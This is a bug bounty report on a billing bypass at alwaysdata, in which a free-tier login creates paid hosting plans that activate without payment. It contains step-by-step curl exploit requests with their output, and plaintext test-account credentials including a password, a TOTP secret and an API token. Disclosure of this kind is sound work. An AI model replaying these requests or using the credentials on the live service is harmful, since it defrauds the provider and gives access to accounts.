================================================================================
ALWAYSDATA.COM — PAID HOSTING PLAN PROVISIONED WITH ZERO PAYMENT
Candidate 04 — Business-logic / billing bypass
Date: 2026-09-25
Reporter: bug bounty (operator: hardikdevaliya7@gmail.com)
Target: https://admin.alwaysdata.com  (in-scope, fixed list, no wildcard)
================================================================================

TL;DR
-----
A regular Free-tier customer with NO payment method on file and a €0.00 prepaid
balance can create a new hosting account on any PAID plan (Small €6/mo ... up to
X-Large €165/mo) and it is provisioned ACTIVE immediately with the full paid-tier
resource quota — no payment page, no card prompt, no invoice. The paid resources
(verified: up to 500GB disk / 8GB RAM / 8 CPU) are usable right away. alwaysdata's own
billing docs describe a PREPAID model ("every invoice debits your prepaid account;
you need to credit it to cover your debits") or direct debit — so a paid plan
should NOT activate against a €0 balance with no payment method. An attacker can
mint unlimited paid-tier accounts under one login for free.

--------------------------------------------------------------------------------
PREREQUISITES / TEST ACCOUNTS (all self-owned, fabricated, free-tier)
--------------------------------------------------------------------------------
Login email : hardikdevaliya7+adtest.a@gmail.com   (identity_A, "bbtestacctalfa")
Password    : LAgqiyZHZ6alB2X#tlQ1
2FA (TOTP)  : enabled (required to mint API tokens). TOTP secret:
              DQS4LG3PFS7DONAYMRNK56OB4ZYN7IKG
              -> current 6-digit OTP: python3 -c "import pyotp;print(pyotp.TOTP('DQS4LG3PFS7DONAYMRNK56OB4ZYN7IKG').now())"
API token   : 7463e74f484f4e2698fb8db108908de7  (id 5593, app_name "bbtest-recon-A")

Pre-conditions confirmed BEFORE the exploit on this login:
  - /billing/ shows €0.00, "No transaction", zero invoices, NO payment method on file.

--------------------------------------------------------------------------------
STEP 0 — verify the starting state (€0 balance, no card)
--------------------------------------------------------------------------------
# login (no 2FA yet) then verify billing
curl -s -c jar.txt "https://admin.alwaysdata.com/login/?next=/" -o login.html
CSRF=$(grep -oE 'csrfmiddlewaretoken[^>]*value="[^"]*"' login.html | grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//')
curl -s -b jar.txt -c jar.txt \
  --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "next=/" \
  --data-urlencode "login=hardikdevaliya7+adtest.a@gmail.com" \
  --data-urlencode "password=LAgqiyZHZ6alB2X#tlQ1" \
  -H "Referer: https://admin.alwaysdata.com/login/?next=/" \
  "https://admin.alwaysdata.com/login/?next=/" -o /dev/null

# (after enrolling 2FA, the login POST re-renders with an `otp` field; submit it)
OTP=$(python3 -c "import pyotp;print(pyotp.TOTP('DQS4LG3PFS7DONAYMRNK56OB4ZYN7IKG').now())")
curl -s -b jar.txt -c jar.txt \
  --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "next=/" \
  --data-urlencode "login=hardikdevaliya7+adtest.a@gmail.com" \
  --data-urlencode "password=LAgqiyZHZ6alB2X#tlQ1" \
  --data-urlencode "otp=$OTP" \
  -H "Referer: https://admin.alwaysdata.com/login/?next=/" \
  "https://admin.alwaysdata.com/login/?next=/" -o /dev/null

# verify €0 / no transaction / no payment method
curl -s -b jar.txt "https://admin.alwaysdata.com/billing/" | grep -oiE '€[0-9.]+|No transaction|Unpaid|Paid'
# -> €0.00 , No transaction

--------------------------------------------------------------------------------
STEP 1 — THE VULNERABLE REQUEST: create a PAID hosting account, no payment
--------------------------------------------------------------------------------
# fetch the add-account form to get a fresh CSRF
curl -s -b jar.txt -c jar.txt "https://admin.alwaysdata.com/admin/account/add/" -o add.html
CSRF=$(grep -oE 'name="csrfmiddlewaretoken" value="[^"]*"' add.html | head -1 | grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//')

# POST a NEW account on the X-LARGE plan (product=2011, €165/month, 500GB/8GB/8CPU)
curl -s -i -b jar.txt -c jar.txt \
  -d "csrfmiddlewaretoken=$CSRF" \
  --data-urlencode "name=bbtestxla" \
  --data-urlencode "password=XlTest#2026Qzx" \
  -d "product=2011" -d "period=1mo" -d "location=datacenter_3" \
  -d "contract_28=on" -d "contract_36=on" -d "submit=Submit" \
  -H "Referer: https://admin.alwaysdata.com/admin/account/add/" \
  "https://admin.alwaysdata.com/admin/account/add/"

# EXPECTED RESULT:
#   HTTP/2 302
#   location: /subscription/
#   -> NO payment page. NO card prompt. NO "add payment method" interstitial.
#      The account is created and ACTIVATED immediately.

# Same effect with the SMALL plan (product=2008, €6/month):
#   curl ... -d "product=2008" ... --data-urlencode "name=bbtestsmalla" ...

Product codes (from the add-account form):
  2012 = Free     (1GB disk, 256MB RAM, 0.25 CPU)   €0
  2008 = Small    (50GB disk, 1GB RAM, 1 CPU)       €6 / month
  2009 = Medium   (100GB disk, 2GB RAM, 2 CPU)     (€price)
  2010 = Large    (200GB disk, 4GB RAM, 4 CPU)     (€price)
  2011 = X-Large  (500GB disk, 8GB RAM, 8 CPU)     €165 / month

--------------------------------------------------------------------------------
STEP 2 — verify the paid account is REALLY active with full paid resources
--------------------------------------------------------------------------------
# via the public REST API (api.alwaysdata.com, also in-scope)
TOKEN=7463e74f484f4e2698fb8db108908de7
# API auth: HTTP Basic, key as username, empty password, account scope in username
#   --user "APIKEY account=<acct>:"

# list subscriptions — see the new X-Large + Small, both active, both €price, €0 paid
curl -s --user "$TOKEN account=bbtestacctalfa:" "https://api.alwaysdata.com/v1/subscription/"
# sample output (2026-09-25):
# [
#   {"id":522516,"product":{"href":"/v1/product/2011/"},"price":"165.000000000000000",
#    "period":"1mo","object":{"href":"/v1/account/502176/"},"date_expiry":"2026-10-25"},
#   {"id":522507,"product":{"href":"/v1/product/2008/"},"price":"6.000000000000000",
#    "period":"1mo","object":{"href":"/v1/account/502167/"},"date_expiry":"2026-10-25"},
#   {"id":522462,"product":{"href":"/v1/product/2012/"},"price":"0E-15",
#    "period":"1mo","object":{"href":"/v1/account/502127/"},"date_expiry":null}
# ]

# verify the X-Large account is bound to product 2011
curl -s --user "$TOKEN account=bbtestacctalfa:" "https://api.alwaysdata.com/v1/account/502176/"
# -> {"id":502176,"name":"bbtestxla","product":{"href":"/v1/product/2011/"},...}

# confirm the actual resource QUOTA is allocated (not just a label) — via the admin UI:
#   1. switch active account to bbtestxla (object-choice POST)
#   2. GET /account/usage/  -> shows  Disk 500GB, Processor (CPU) 8 CPU, Memory (RAM) 8GB, all 100% available

curl -s -b jar.txt "https://admin.alwaysdata.com/" -o h.html
CSRF=$(grep -oE 'name="csrfmiddlewaretoken" value="[^"]*"' h.html | head -1 | grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//')
curl -s -L -b jar.txt -c jar.txt -d "csrfmiddlewaretoken=$CSRF" -d "change-object=account_bbtestxla" \
  -H "Referer: https://admin.alwaysdata.com/" "https://admin.alwaysdata.com/" -o /dev/null
curl -s -b jar.txt "https://admin.alwaysdata.com/account/usage/" | grep -oE '500GB|8GB|8 CPU|50GB|1GB|1 CPU|256MB|0.25 CPU'
# X-Large -> 500GB, 8GB, 8 CPU
# Small   -> 50GB, 1GB, 1 CPU

# billing is STILL €0 / no invoice / no card, even after the paid accounts exist
curl -s -b jar.txt "https://admin.alwaysdata.com/billing/" | grep -oiE '€[0-9.]+|No transaction|Unpaid|Paid'
# -> €0.00 , No transaction

--------------------------------------------------------------------------------
STEP 3 — confirm this contradicts alwaysdata's published billing model
--------------------------------------------------------------------------------
# alwaysdata docs (https://help.alwaysdata.com/en/docs/admin-billing/billing/payment-methods/):
#   "Every invoice issued debits your prepaid alwaysdata account for the amount owed."
#   "You need to credit this prepaid account to cover your debits."
# -> prepaid (debit-on-invoice) or direct-debit. A paid plan should NOT activate
#    against a €0 balance with no payment method. Here it does, with no invoice at all.

--------------------------------------------------------------------------------
IMPACT
--------------------------------------------------------------------------------
- A regular Free-tier login can repeat the STEP 1 POST to create UNLIMITED paid-tier
  hosting accounts (up to X-Large: 500GB / 8GB RAM / 8 CPU each), all activated with
  no payment and no payment method on file.
- Free paid-tier compute/storage at scale — direct financial/resource-abuse loss
  for alwaysdata, and the resources are real and usable (DBs, sites, SSH, etc. all
  return 200 on the X-Large/Small accounts).
- Bypasses alwaysdata's own prepaid billing model entirely.

--------------------------------------------------------------------------------
WHAT THIS IS NOT (tested and ruled out)
--------------------------------------------------------------------------------
- NOT a missing-ownership-check IDOR: cross-account access on admin UI and API is
  properly scoped (foreign objects 404, customer= param -> "Invalid user"). Both
  trust boundaries clean. (Candidate 01 rejected after full sweep.)
- The exploitation needs the attacker to be a logged-in customer (free self-signup).

--------------------------------------------------------------------------------
OPEN CAVEATS (before final severity)
--------------------------------------------------------------------------------
1. By-design-post-paid vs bug: alwaysdata MIGHT generate the €6/€165 invoice at the
   1-month renewal (2026-10-25) and suspend if unpaid. Cannot test that within one
   session. The immediate PoC — paid resources delivered ACTIVE with €0 balance,
   no card, NO invoice at order time — stands regardless; whether the money is ever
   collected is the open question. (If they invoice+suspend at renewal, a program
   might argue "post-paid by design" — but their own docs say prepaid, which
   contradicts that.)
2. New-login-onboarding variant (operator's original identity_K test) is untested:
   K is blocked at email validation. The variant tested here is "add a hosting
   account under an EXISTING (Free) login." A brand-new signup choosing a paid plan
   during onboarding might gate differently. Needs the validation link from the
   operator's inbox to test (a single HEAD request validates it).

--------------------------------------------------------------------------------
LIVE PoC ACCOUNTS (kept active for evidence — do NOT delete until triaged)
--------------------------------------------------------------------------------
  account          id      product     price      expiry        quota (verified)
  bbtestacctalfa   502127  2012 Free   €0         —             1GB/256MB/0.25CPU
  bbtestsmalla    502167  2008 Small  €6/mo     2026-10-25    50GB/1GB/1CPU
  bbtestxla       502176  2011 X-Large €165/mo   2026-10-25    500GB/8GB/8CPU
All under login hardikdevaliya7+adtest.a@gmail.com, billing €0, no payment method.

--------------------------------------------------------------------------------
EVIDENCE FILES (same folder as this .txt)
--------------------------------------------------------------------------------
  alwaysdata_poc_01_subscription_three_accounts.png  — Free+Small+X-Large all active
  alwaysdata_poc_02_billing_zero_balance.png          — €0.00 / No transaction / no card
  alwaysdata_poc_03_xlarge_usage_500gb_8gb_8cpu.png   — X-Large quota verified in UI
  alwaysdata_poc_04_add_account_form_paid_plans.png   — the vuln entry point (paid plans selectable)

Burp Repeater tabs staged (operator fires for own screenshots):
  1. alwaysdata-04-paid-no-payment (X-Large product=2011)   — the POST (creates acct)
  2. alwaysdata-04-add-account-form                          — GET, safe, shows paid plans
  3. alwaysdata-04-subscription-result                      — GET, shows 3 provisioned accts

NOTE: the cookies/csrf in the Repeater tabs expire ~15 min (Django Max-Age=900). If
expired when firing, re-login (email/pass + 2FA otp from the TOTP secret above),
re-fetch /admin/account/add/ for a fresh csrf, and paste into the tab.
================================================================================
